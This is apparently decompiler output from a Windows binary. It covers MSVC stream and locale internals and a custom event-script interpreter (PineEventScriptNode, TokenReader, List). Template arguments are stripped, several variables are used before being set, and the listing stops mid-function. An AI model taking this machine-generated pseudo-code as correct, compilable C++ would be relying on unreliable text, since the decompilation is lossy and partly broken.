(0049F990) -------------------------------------------------------- void *__thiscall std::basic_iostream>::_vector_deleting_destructor_(std::basic_iostream > *this, char a2) { void *v2; // esi@1 std::basic_ios > *v3; // edi@1 v2 = (char *)this - 12; v3 = (std::basic_ios > *)this; std::basic_iostream>::_basic_iostream>(this); std::basic_ios>::_basic_ios>(v3); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0049F9C0) -------------------------------------------------------- void *__thiscall std::basic_stringbuf_std::allocator>::_vector_deleting_destructor_(std::basic_stringbuf,std::allocator > *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::basic_stringbuf_std::allocator>::_basic_stringbuf_std::allocator>(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0049F9E0) -------------------------------------------------------- void __thiscall std::basic_streambuf>::basic_streambuf>(std::basic_streambuf > *this) { std::basic_streambuf > *v1; // esi@1 void *v2; // eax@1 std::locale *v3; // eax@2 v1 = this; this->vfptr = (std::basic_streambuf >Vtbl *)&std::basic_streambuf>::_vftable_; std::_Mutex::_Mutex(&this->_Mylock); v2 = operator new(4u); if ( v2 ) std::locale::locale((std::locale *)v2); else v3 = 0; v1->_Plocale = v3; std::basic_streambuf>::_Init(v1); } // 5BD9EC: using guessed type int (__thiscall *std__basic_streambuf_char_std__char_traits_char_____vftable_)(void *p, char); //----- (0049FA50) -------------------------------------------------------- void __thiscall std::basic_stringbuf_std::allocator>::_Init(std::basic_stringbuf,std::allocator > *this, const char *_Ptr, unsigned int _Count, int _State) { std::basic_stringbuf,std::allocator > *v4; // ebx@1 void *v5; // eax@3 v4 = this; this->_Seekhigh = 0; this->_Mystate = _State; if ( _Count && (_State & 6) != 6 ) { v5 = operator new(_Count); memcpy(v5, _Ptr, _Count); v4->_Seekhigh = (char *)v5 + _Count; if ( !(v4->_Mystate & 4) ) { *v4->baseclass_0._IGfirst = (char *)v5; *v4->baseclass_0._IGnext = (char *)v5; *v4->baseclass_0._IGcount = _Count; } if ( !(v4->_Mystate & 2) ) { *v4->baseclass_0._IPfirst = (char *)v5; *v4->baseclass_0._IPnext = (char *)v5; *v4->baseclass_0._IPcount = _Count; if ( !*v4->baseclass_0._IGnext ) { *v4->baseclass_0._IGfirst = (char *)v5; *v4->baseclass_0._IGnext = 0; *v4->baseclass_0._IGcount = (int)v5; } } v4->_Mystate |= 1u; } } //----- (0049FAF0) -------------------------------------------------------- std::ctype *__cdecl std::use_facet>(std::locale *_Loc) { int v1; // edi@1 std::locale::facet *v2; // esi@5 unsigned int v3; // eax@11 int _Psave; // [sp+0h] [bp-24h]@1 std::_Lockit this; // [sp+4h] [bp-20h]@2 std::_Lockit _Lock; // [sp+8h] [bp-1Ch]@1 char pExceptionObject; // [sp+Ch] [bp-18h]@9 int v9; // [sp+20h] [bp-4h]@1 std::_Lockit::_Lockit(&_Lock, 0); v1 = std::_Facetptr>::_Psave; v9 = 0; _Psave = std::_Facetptr>::_Psave; if ( !std::ctype::id ) { std::_Lockit::_Lockit(&this, 0); if ( !std::ctype::id ) { ++std::locale::id::_Id_cnt; std::ctype::id = std::locale::id::_Id_cnt; } std::_Lockit::__Lockit(&this); } v2 = std::locale::_Getfacet(_Loc, std::ctype::id); if ( !v2 ) { if ( v1 ) { v2 = (std::locale::facet *)v1; } else { if ( std::ctype::_Getcat((std::locale::facet **)&_Psave) == -1 ) { bad_cast::bad_cast((bad_cast *)&pExceptionObject, "bad cast"); _CxxThrowException(&pExceptionObject, &_TI2_AVbad_cast__); } v2 = (std::locale::facet *)_Psave; std::_Facetptr>::_Psave = _Psave; std::_Lockit::_Lockit(&this, 0); v3 = v2->_Refs; if ( v3 < 0xFFFFFFFF ) v2->_Refs = v3 + 1; std::_Lockit::__Lockit(&this); std::locale::facet::_Register(v2); } } v9 = -1; std::_Lockit::__Lockit(&_Lock); return (std::ctype *)v2; } // 124A4B20: using guessed type int std___Facetptr_std__ctype_char_____Psave; // 146CFFE0: using guessed type int std__locale__id___Id_cnt; //----- (0049FC00) -------------------------------------------------------- char __thiscall List::l_Enlargement(List *this, int extsize) { List *v2; // ebp@1 ListArray *v4; // eax@3 int v5; // ebx@5 void *v6; // eax@5 void *v7; // esi@6 void *v8; // eax@9 int v9; // ecx@12 int v10; // esi@13 PineEventScriptNode::Statement *v11; // edx@14 void *v12; // ecx@16 void *v13; // edx@16 int v14; // esi@16 int v15; // ecx@18 int v16; // edx@19 int v17; // eax@21 int v18; // edx@21 void *v19; // ST10_4@21 void **v20; // eax@21 void *v21; // eax@21 void *v22; // esi@22 ListArray *v23; // edx@23 void *newarray; // [sp+4h] [bp-10h]@9 void *extsizea; // [sp+18h] [bp+4h]@6 v2 = this; if ( this->l_Finger.empty != -1 ) return 0; v4 = this->l_ListArray; if ( !v4 ) return 0; v5 = extsize + v4->la_Size; v6 = operator new__(8 * v5 + 4); if ( v6 ) { v7 = (char *)v6 + 4; *(_DWORD *)v6 = v5; _eh_vector_constructor_iterator_( (char *)v6 + 4, 8u, v5, (void (__thiscall *)(void *))PineEventScriptNode::Statement::Statement, (void (__thiscall *)(void *))PineEventScriptNode::Statement::_Statement); extsizea = v7; } else { extsizea = 0; v7 = 0; } if ( !v7 ) return 0; v8 = operator new__(12 * v5 + 12); newarray = v8; if ( !v8 ) { _eh_vector_destructor_iterator_( v7, 8u, *((_DWORD *)v7 - 1), (void (__thiscall *)(void *))PineEventScriptNode::Statement::_Statement); operator delete__((char *)v7 - 4); return 0; } v9 = 0; if ( v2->l_ListArray->la_Size > 0 ) { v10 = (int)((char *)v7 + 4); do { v11 = v2->l_ListArray->la_Array; *(_DWORD *)v10 = v11[v9].s_Statement; v11[v9++].s_Statement = 0; v10 += 8; } while ( v9 < v2->l_ListArray->la_Size ); } memcpy(v8, v2->l_Array, 12 * v2->l_ListArray->la_Size); *((_WORD *)v8 + 6 * v2->l_Array[v2->l_Finger.store].ls_Next + 3) = v5; *((_WORD *)v8 + 6 * v2->l_Array[v2->l_Finger.store].ls_Prev + 2) = v5; if ( v5 > 0 ) { v12 = extsizea; v13 = v8; v14 = v5; do { *(_DWORD *)v13 = v12; v12 = (char *)v12 + 8; v13 = (char *)v13 + 12; --v14; } while ( v14 ); } v15 = v2->l_MaxSize; if ( v15 < v5 ) { v16 = (int)((char *)v8 + 12 * v15 + 4); do { *(_WORD *)v16 = v15 + 1; *(_BYTE *)(v16 + 4) = 0; *(_WORD *)(v16 + 2) = v15++ - 1; v16 += 12; } while ( v15 < v5 ); } *((_WORD *)v8 + 6 * v2->l_MaxSize + 3) = v5 - 1; v17 = (int)((char *)v8 + 12 * v5); *(_WORD *)(v17 - 8) = v2->l_MaxSize; v18 = (int)&v2->l_Array[v2->l_MaxSize]; *(_DWORD *)v17 = *(_DWORD *)v18; *(_DWORD *)(v17 + 4) = *(_DWORD *)(v18 + 4); *(_DWORD *)(v17 + 8) = *(_DWORD *)(v18 + 8); v19 = v2->l_Array; v2->l_Finger.empty = v2->l_MaxSize; operator delete__(v19); v20 = (void **)v2->l_ListArray; v2->l_Array = (ListStruct *)newarray; v21 = *v20; if ( v21 ) { v22 = (char *)v21 - 4; _eh_vector_destructor_iterator_( v21, 8u, *((_DWORD *)v21 - 1), (void (__thiscall *)(void *))PineEventScriptNode::Statement::_Statement); operator delete__(v22); } v2->l_ListArray->la_Array = (PineEventScriptNode::Statement *)extsizea; v23 = v2->l_ListArray; v2->l_MaxSize = v5; v23->la_Size = (unsigned __int16)v5; v2->l_Finger.store = LOWORD(v2->l_ListArray->la_Size); return 1; } //----- (0049FE80) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, PineEventScriptNode::Statement *ele) { int v2; // eax@1 int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2)) != 0 ) { *(_DWORD *)(v3 + 4) = ele->s_Statement; result = 1; } else { result = 0; } return result; } //----- (0049FEB0) -------------------------------------------------------- void __thiscall std::num_put>>::num_put>>(std::num_put > > *this, unsigned int _Refs) { std::num_put > > *v2; // esi@1 std::_Locinfo thisa; // [sp+4h] [bp-80h]@1 int v4; // [sp+80h] [bp-4h]@1 v2 = this; this->baseclass_0._Refs = _Refs; v4 = 0; this->baseclass_0.vfptr = (std::locale::facetVtbl *)&std::num_put>>::_vftable_; std::_Locinfo::_Locinfo(&thisa, "C"); *(_QWORD *)&v2->_Cvt._Hand = _Getcvt(); std::_Locinfo::__Locinfo(&thisa); } // 5BDA60: using guessed type int (__thiscall *std__num_put_char_std__ostreambuf_iterator_char_std__char_traits_char______vftable_)(void *p, char); //----- (0049FF30) -------------------------------------------------------- void *__thiscall std::codecvt::_vector_deleting_destructor_(std::num_get > > *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::codecvt_base::_codecvt_base(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0049FF50) -------------------------------------------------------- void __thiscall PineEventScriptNode::StatementBaseExpress::StatementBaseExpress(PineEventScriptNode::StatementBaseExpress *this, char *command) { PineEventScriptNode::StatementBaseExpress *v2; // eax@1 char *v3; // ecx@1 char v4; // dl@2 v2 = this; v3 = command; v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::StatementBaseExpress::_vftable_; v2->sbe_Express.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Express::_vftable_; v2->sbe_Express.e_Term.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Term::_vftable_; v2->sbe_Express.e_Term.t_Atom = 0; v2->sbe_Express.e_Term.t_Term = 0; v2->sbe_Express.e_Oper.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::CalculateOperator::_vftable_; v2->sbe_Express.e_Oper.co_Oper.pst_Buffer[0] = 0; v2->sbe_Express.e_Oper.co_OperType = 0; v2->sbe_Express.e_Express = 0; do { v4 = *v3; v3[v2->sbe_Command - command] = *v3; ++v3; } while ( v4 ); } // 5BD73C: using guessed type int (__stdcall *PineEventScriptNode__CalculateOperator___vftable_)(int tr); // 5BD814: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); // 5BD978: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); // 5BDA84: using guessed type int (__stdcall *PineEventScriptNode__StatementBaseExpress___vftable_)(int tr); //----- (0049FFA0) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::Identify::i_GetToken(PineEventScriptNode::Identify *this, PineScriptToken *varname, PineScriptStack::ProcessStack *ps) { PineEventScriptNode::Id *v3; // edx@1 PineScriptToken *result; // eax@2 PineEventScriptNode::Express *v5; // eax@4 PineScriptToken *v6; // esi@6 PineScriptToken rst; // [sp+8h] [bp-104h]@5 v3 = this->i_Id; if ( v3 ) { result = varname; if ( varname ) memcpy(varname, &v3->i_Identify, 0x100u); } else { v5 = this->i_Exp; if ( v5 && (rst.pst_Buffer[0] = 0, ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v5->baseclass_0.vfptr->sa_Calculate)( &rst, ps)) ) { v6 = PineScriptStack::ProcessStack::ps_FindVariable(ps, &rst); result = varname; memcpy(varname, v6, 0x100u); } else { result = 0; } } return result; } //----- (004A0060) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::Identify::i_GetVariable(PineEventScriptNode::Identify *this, PineScriptStack::ProcessStack *ps) { PineEventScriptNode::Id *v2; // eax@1 PineScriptToken *result; // eax@2 PineEventScriptNode::Express *v4; // ecx@4 PineScriptToken rst; // [sp+8h] [bp-108h]@2 v2 = this->i_Id; if ( v2 ) { memcpy(&rst, &v2->i_Identify, sizeof(rst)); result = PineScriptStack::ProcessStack::ps_FindVariable(ps, &rst); } else { if ( this->i_Exp && (v4 = this->i_Exp, rst.pst_Buffer[0] = 0, ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.vfptr->sa_Calculate)( &rst, ps)) ) result = PineScriptStack::ProcessStack::ps_FindVariable(ps, &rst); else result = 0; } return result; } //----- (004A0110) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StatePrint::sb_CloneMe(PineEventScriptNode::StatePrint *this) { void *v1; // eax@1 PineEventScriptNode::StatementBase *v2; // esi@1 PineEventScriptNode::StatementBase *result; // eax@2 v1 = operator new(0x140u); v2 = (PineEventScriptNode::StatementBase *)v1; if ( v1 ) { PineEventScriptNode::StatementBaseExpress::StatementBaseExpress( (PineEventScriptNode::StatementBaseExpress *)v1, "print"); v2->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::StatePrint::_vftable_; result = v2; } else { result = 0; } return result; } // 5BDA98: using guessed type int (__stdcall *PineEventScriptNode__StatePrint___vftable_)(int tr); //----- (004A0140) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateVarDeclear::sa_Step(PineEventScriptNode::StateVarDeclear *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::StateVarDeclear *v4; // ebp@1 int v5; // eax@1 char *v6; // edi@2 PineEventScriptNode::Identify *v7; // esi@2 PineScriptToken *v8; // eax@3 PineScriptToken *v9; // eax@3 int v10; // eax@6 int i; // [sp+10h] [bp-108h]@1 PineScriptToken varname; // [sp+14h] [bp-104h]@1 v4 = this; v5 = this->svd_VarNum; varname.pst_Buffer[0] = 0; i = 0; if ( v5 <= 0 ) { LABEL_6: v10 = ps->ps_StackPoint; if ( v10 ) { ps->ps_StackPoint = v10 - 1; LOWORD(v10) = 1; } } else { v6 = (char *)this->svd_Express; v7 = this->svd_VarName; while ( 1 ) { v8 = PineEventScriptNode::Identify::i_GetToken(v7, &varname, ps); v9 = PineScriptStack::VariableStack::vs_Push(&ps->ps_VarStack, v8); if ( !v9 ) break; if ( !(*(int (__thiscall **)(char *, PineScriptToken *, PineScriptStack::ProcessStack *))(*(_DWORD *)v6 + 8))( v6, v9, ps) ) break; ++v7; v6 += 284; ++i; if ( i >= v4->svd_VarNum ) goto LABEL_6; } LOWORD(v10) = 0; } return v10; } //----- (004A0200) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateBreak::sa_Step(PineEventScriptNode::StateBreak *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::Express *v4; // eax@1 unsigned __int16 result; // ax@2 PineScriptToken *v6; // eax@3 PineScriptToken exitblock; // [sp+0h] [bp-104h]@1 v4 = this->b_Break; exitblock.pst_Buffer[0] = 0; if ( v4 ) { v6 = (PineScriptToken *)((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))this->b_Break->baseclass_0.vfptr->sa_Calculate)( &exitblock, ps); result = PineScriptStack::ProcessStack::ps_ExitBlock(ps, v6); } else { result = PineScriptStack::ProcessStack::ps_ExitBlock(ps, 0); } return result; } //----- (004A0280) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateCall::sa_Step(PineEventScriptNode::StateCall *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::StateCall *v4; // edi@1 PineEventScriptNode::ScriptAtomVtbl *v5; // eax@2 PineScriptToken *v6; // eax@2 PineEventScriptNode::ScriptAtom *v7; // eax@2 int v8; // ecx@3 int v9; // eax@4 int v10; // ecx@5 PineScriptToken *v11; // eax@9 PineEventScriptNode::ScriptAtom *v12; // eax@9 const char *v14; // [sp+4h] [bp-110h]@7 PineScriptToken blockname; // [sp+10h] [bp-104h]@2 v4 = this; if ( *ip ) { v9 = ps->ps_StackPoint; if ( v9 ) { ps->ps_StackPoint = v9 - 1; LOWORD(v9) = 1; } } else { *ip = 1; v5 = this->sc_CallBlock.baseclass_0.vfptr; blockname.pst_Buffer[0] = 0; v6 = (PineScriptToken *)((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v5->sa_Calculate)( &blockname, ps); v7 = (PineEventScriptNode::ScriptAtom *)PineEventScriptNode::Script::sa_FindBlock(ps->ps_Script, v6); if ( v7 ) { v8 = ps->ps_StackPoint; if ( (unsigned int)v8 < 0x1F ) { v10 = v8 + 1; ps->ps_StackPoint = v10; ps->ps_Stack[v10].ip = 0; ps->ps_Stack[ps->ps_StackPoint].node = v7; LOWORD(v9) = 1; } else { LOWORD(v9) = 0; } } else { if ( v4->sc_DefaultBlock ) { v11 = (PineScriptToken *)((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->sc_DefaultBlock->baseclass_0.vfptr->sa_Calculate)( &blockname, ps); v12 = (PineEventScriptNode::ScriptAtom *)PineEventScriptNode::Script::sa_FindBlock(ps->ps_Script, v11); if ( v12 ) { LOWORD(v9) = PineScriptStack::ProcessStack::ps_Push(ps, v12); return v9; } v14 = (const char *)&blockname; } else { v14 = (const char *)&blockname; } AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::StateCall::sa_Step : not exist default routine", v14); LOWORD(v9) = 0; } } return v9; } //----- (004A0410) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::Id::sa_Calculate(PineEventScriptNode::Id *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps) { PineScriptToken *result; // eax@1 PineScriptToken *v4; // esi@2 result = PineScriptStack::ProcessStack::ps_FindVariable(ps, &this->i_Identify); if ( result ) { v4 = result; result = buffer; memcpy(buffer, v4, 0x100u); } return result; } //----- (004A0440) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::Term::sa_Calculate(PineEventScriptNode::Term *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps) { PineEventScriptNode::ScriptAtom *v3; // eax@1 PineScriptToken *result; // eax@2 PineEventScriptNode::Term *v5; // eax@3 PineScriptToken *v6; // eax@4 v3 = this->t_Atom; if ( v3 ) { result = (PineScriptToken *)((int (__stdcall *)(_DWORD, _DWORD))v3->vfptr->sa_Calculate)(buffer, ps); } else { v5 = this->t_Term; if ( v5 ) { v6 = (PineScriptToken *)((int (__stdcall *)(_DWORD, _DWORD))v5->baseclass_0.vfptr->sa_Calculate)(buffer, ps); memcpy(buffer, PineScriptStack::ProcessStack::ps_FindVariable(ps, v6), 0x100u); result = buffer; } else { result = 0; } } return result; } //----- (004A0490) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptReader::TokenReader::tr_GetToken(PineScriptReader::TokenReader *this, PineScriptToken *tkn) { PineScriptReader::TokenReader *v2; // edi@1 const void *v3; // edx@1 PineScriptToken *result; // eax@2 int v5; // eax@3 int v6; // eax@8 int v7; // edx@13 PineScriptReader::TokenReader *v8; // ecx@13 v2 = this; v3 = &this->tr_UngetToken; if ( this->tr_UngetToken.pst_Buffer[0] ) { result = tkn; memcpy(tkn, v3, 0x100u); *(_BYTE *)v3 = 0; } else { PineScriptReader::CharacterReader::cr_SkipSpace(&this->tr_CharReader); v5 = v2->tr_CharReader.cr_UngetBuffer; if ( v5 == -1 ) v5 = PineScriptReader::CharacterReader::cr_GetCh(&v2->tr_CharReader); else v2->tr_CharReader.cr_UngetBuffer = -1; if ( v5 == -1 ) { v2->tr_ErrCode = "Unexpected EOF"; result = 0; } else { v2->tr_BufPnt = 0; v2->tr_Buffer.pst_Buffer[0] = v5; LOBYTE(v6) = v2->tr_Buffer.pst_Buffer[0]; ++v2->tr_BufPnt; if ( (_BYTE)v6 == 34 ) { result = PineScriptReader::TokenReader::tr_ReadString(v2, tkn); } else { v6 = (unsigned __int8)v6; if ( (signed int)(unsigned __int8)v6 < 48 || v6 > 57 ) { if ( PineScriptReader::TokenReader::tr_isAlNum(v2, v6) ) { result = PineScriptReader::TokenReader::tr_ReadIdent(v8, tkn); } else { result = tkn; v2->tr_Buffer.pst_Buffer[v7] = 0; memcpy(tkn, &v2->tr_Buffer, 0x100u); } } else { result = PineScriptReader::TokenReader::tr_ReadNumber(v2, tkn); } } } } return result; } //----- (004A0580) -------------------------------------------------------- std::basic_ostream > *__thiscall std::basic_ostream>::flush(std::basic_ostream > *this) { std::basic_ostream > *v1; // esi@1 char *v2; // eax@1 signed int v3; // edi@1 int v4; // ecx@4 int v5; // eax@5 v1 = this; v2 = (char *)this + *(_DWORD *)(*(_DWORD *)&this->dummy[0] + 4); v3 = 0; if ( !(v2[8] & 6) && (*(int (__thiscall **)(_DWORD))(**((_DWORD **)v2 + 10) + 44))(*((_DWORD *)v2 + 10)) == -1 ) v3 = 4; v4 = (int)((char *)v1 + *(_DWORD *)(*(_DWORD *)&v1->dummy[0] + 4)); if ( v3 ) { v5 = v3 | *(_DWORD *)(v4 + 8); if ( !*(_DWORD *)(v4 + 40) ) v5 |= 4u; std::ios_base::clear((std::ios_base *)v4, v5, 0); } return v1; } //----- (004A05E0) -------------------------------------------------------- void __thiscall std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>(std::basic_stringstream,std::allocator > *this) { std::basic_streambuf > *v1; // esi@1 int v2; // eax@2 *(_DWORD *)((char *)this + *(_DWORD *)(*((_DWORD *)this - 21) + 4) - 84) = &std::basic_stringstream_std::allocator>::_vftable_; v1 = (std::basic_streambuf > *)((char *)this - 72); *((_DWORD *)this - 18) = &std::basic_stringbuf_std::allocator>::_vftable_; std::basic_stringbuf_std::allocator>::_Tidy((std::basic_stringbuf,std::allocator > *)this - 1); std::basic_streambuf>::_basic_streambuf>(v1); *(_DWORD *)((char *)v1 + *(_DWORD *)(*((_DWORD *)v1 - 3) + 4) - 12) = &std::basic_iostream>::_vftable_; if ( v1 == (std::basic_streambuf > *)12 ) v2 = 0; else v2 = (int)((char *)v1 - 4); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)v2 + 4) + v2) = &std::basic_ostream>::_vftable_; *(_DWORD *)((char *)v1 + *(_DWORD *)(*((_DWORD *)v1 - 3) + 4) - 12) = std::basic_istream>::_vftable_; } // 5BD8F8: using guessed type int (__stdcall *std__basic_ostream_char_std__char_traits_char_____vftable_)(char); // 5BD900: using guessed type int (__stdcall *std__basic_istream_char_std__char_traits_char_____vftable_[2])(char); // 5BD904: using guessed type int (__stdcall *std__basic_iostream_char_std__char_traits_char_____vftable_)(char); // 5BDA20: using guessed type int (__thiscall *std__basic_stringbuf_char_std__char_traits_char__std__allocator_char_____vftable_)(void *p, char); // 5BDB0C: using guessed type int (__stdcall *std__basic_stringstream_char_std__char_traits_char__std__allocator_char_____vftable_)(char); //----- (004A0670) -------------------------------------------------------- int __thiscall std::basic_stringbuf_std::allocator>::overflow(std::basic_stringbuf,std::allocator > *this, int _Meta) { std::basic_stringbuf,std::allocator > *v2; // ebp@1 char **v3; // esi@2 char *v4; // edx@2 char *v5; // ecx@3 int v6; // eax@4 int result; // eax@5 unsigned int v8; // esi@7 int *v9; // ecx@8 unsigned int v10; // edx@12 int v11; // ecx@13 unsigned int v12; // ecx@14 void *v13; // ebx@16 void *v14; // eax@21 const void *v15; // esi@23 char **v16; // ecx@27 char **v17; // ecx@30 char *v18; // edx@30 int v19; // ecx@30 int v20; // ecx@30 char *v21; // edx@32 char **v22; // esi@32 int v23; // ecx@32 char **v24; // ebp@34 char *v25; // ecx@34 int _Oldsize; // [sp+8h] [bp-8h]@12 int _Newsize; // [sp+Ch] [bp-4h]@14 v2 = this; if ( this->_Mystate & 8 ) { v3 = this->baseclass_0._IPnext; v4 = *v3; if ( *v3 ) { v5 = this->_Seekhigh; if ( v4 < v5 ) { v6 = (int)&v4[*v2->baseclass_0._IPcount]; *v3 = v5; *v2->baseclass_0._IPcount = v6 - (_DWORD)v5; } } } result = _Meta; if ( _Meta == -1 ) return 0; v8 = (unsigned int)*v2->baseclass_0._IPnext; if ( !v8 || (v9 = v2->baseclass_0._IPcount, v8 >= v8 + *v9) ) { if ( v2->_Mystate & 2 ) return -1; if ( v8 ) { v11 = *v2->baseclass_0._IPcount - (unsigned int)*v2->baseclass_0._IGfirst; _Oldsize = v8 + v11; v10 = v8 + v11; } else { v10 = 0; _Oldsize = 0; } v12 = v10 >> 1; _Newsize = v10; if ( v10 >> 1 < 0x20 ) v12 = 32; v13 = 0; if ( v12 ) { while ( 2147483647 - v12 < v10 ) { v12 >>= 1; if ( !v12 ) goto LABEL_22; } if ( v12 ) { _Newsize = v10 + v12; v14 = operator new(v10 + v12); v10 = _Oldsize; v13 = v14; result = _Meta; } } LABEL_22: if ( v10 ) { v15 = *v2->baseclass_0._IGfirst; memcpy(v13, v15, 4 * (v10 >> 2)); result = _Meta; memcpy((char *)v13 + 4 * (v10 >> 2), (char *)v15 + 4 * (v10 >> 2), v10 & 3); } if ( v2->_Mystate & 1 ) { operator delete(*(void **)v2->baseclass_0._IGfirst); result = _Meta; v10 = _Oldsize; } v2->_Mystate |= 1u; if ( v10 ) { v17 = v2->baseclass_0._IGfirst; v2->_Seekhigh += v13 - *v17; v18 = *v17; v19 = *v2->baseclass_0._IPnext - *v17; *v2->baseclass_0._IPfirst += v13 - v18; v20 = (int)((char *)v13 + v19); *v2->baseclass_0._IPnext = (char *)v20; *v2->baseclass_0._IPcount = (int)((char *)v13 + _Newsize - v20); if ( v2->_Mystate & 4 ) { *v2->baseclass_0._IGfirst = (char *)v13; *v2->baseclass_0._IGnext = 0; *v2->baseclass_0._IGcount = (int)v13; } else { v21 = *v2->baseclass_0._IPnext; v22 = v2->baseclass_0._IGfirst; v23 = (int)((char *)v13 + *v2->baseclass_0._IGnext - *v22); *v22 = (char *)v13; *v2->baseclass_0._IGnext = (char *)v23; *v2->baseclass_0._IGcount = (int)&v21[-v23 + 1]; } } else { v16 = v2->baseclass_0._IPfirst; v2->_Seekhigh = (char *)v13; *v16 = (char *)v13; *v2->baseclass_0._IPnext = (char *)v13; *v2->baseclass_0._IPcount = _Newsize; if ( v2->_Mystate & 4 ) { *v2->baseclass_0._IGfirst = (char *)v13; *v2->baseclass_0._IGnext = 0; *v2->baseclass_0._IGcount = (int)v13; } else { *v2->baseclass_0._IGfirst = (char *)v13; *v2->baseclass_0._IGnext = (char *)v13; *v2->baseclass_0._IGcount = 1; } } v9 = v2->baseclass_0._IPcount; } --*v9; v24 = v2->baseclass_0._IPnext; v25 = (*v24)++; *v25 = result; return result; } //----- (004A0870) -------------------------------------------------------- void __thiscall std::basic_stringbuf_std::allocator>::basic_stringbuf_std::allocator>(std::basic_stringbuf,std::allocator > *this, int _Mode) { std::basic_stringbuf,std::allocator > *v2; // esi@1 signed int v3; // eax@1 v2 = this; std::basic_streambuf>::basic_streambuf>(&this->baseclass_0); v3 = 0; v2->baseclass_0.vfptr = (std::basic_streambuf >Vtbl *)&std::basic_stringbuf_std::allocator>::_vftable_; if ( !(_Mode & 1) ) v3 = 4; if ( !(_Mode & 2) ) v3 |= 2u; if ( _Mode & 8 ) v3 |= 8u; v2->_Mystate = v3; v2->_Seekhigh = 0; } // 5BDA20: using guessed type int (__thiscall *std__basic_stringbuf_char_std__char_traits_char__std__allocator_char_____vftable_)(void *p, char); //----- (004A08E0) -------------------------------------------------------- void __thiscall std::basic_ostream>::sentry::sentry(std::basic_ostream >::sentry *this, std::basic_ostream > *_Ostr) { std::basic_ostream >::sentry *v2; // edi@1 int v3; // eax@1 int v4; // eax@3 int v5; // ecx@3 char *v6; // eax@3 std::basic_ostream > *v7; // eax@4 v2 = this; this->baseclass_0._Myostr = _Ostr; v3 = *(_DWORD *)&_Ostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4) + 40]; if ( v3 ) std::_Mutex::_Lock((std::_Mutex *)(v3 + 4)); v4 = *(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4); v5 = *(_DWORD *)&_Ostr->dummy[v4 + 8]; v6 = (char *)_Ostr + v4; if ( !v5 ) { v7 = (std::basic_ostream > *)*((_DWORD *)v6 + 11); if ( v7 ) std::basic_ostream>::flush(v7); } v2->_Ok = *(_DWORD *)&_Ostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4) + 8] == 0; } //----- (004A0970) -------------------------------------------------------- char __thiscall std::basic_ios>::widen(std::basic_ios > *this, char _Byte) { std::locale *v2; // eax@1 std::ctype *v3; // eax@1 std::locale v4; // esi@1 std::ctype *v5; // edi@1 unsigned int v6; // eax@2 int v7; // esi@5 std::locale result; // [sp+0h] [bp-14h]@1 std::_Lockit thisa; // [sp+4h] [bp-10h]@2 int v11; // [sp+10h] [bp-4h]@1 v2 = std::ios_base::getloc(&this->baseclass_0, &result); v11 = 0; v3 = std::use_facet>(v2); v4 = result; v5 = v3; v11 = -1; if ( result ) { std::_Lockit::_Lockit(&thisa, 0); v6 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( v6 && v6 < 0xFFFFFFFF ) *(_DWORD *)(*(_DWORD *)&v4 + 4) = v6 - 1; v7 = ((*(_DWORD *)(*(_DWORD *)&v4 + 4) != 0) - 1) & *(_DWORD *)&v4; std::_Lockit::__Lockit(&thisa); if ( v7 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v7)(v7, 1); } return v5->baseclass_0.baseclass_0.vfptr[6].__vecDelDtor((std::locale::facet *)v5, _Byte); } //----- (004A0A20) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, PineEventScriptNode::Block *ele) { int v2; // eax@1 int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2)) != 0 ) { memcpy((void *)(v3 + 12), &ele->b_BlockName.bn_Name.i_Identify, 0x10Cu); result = 1; } else { result = 0; } return result; } //----- (004A0A80) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, PineEventScriptNode::Block *ele) { int v2; // eax@1 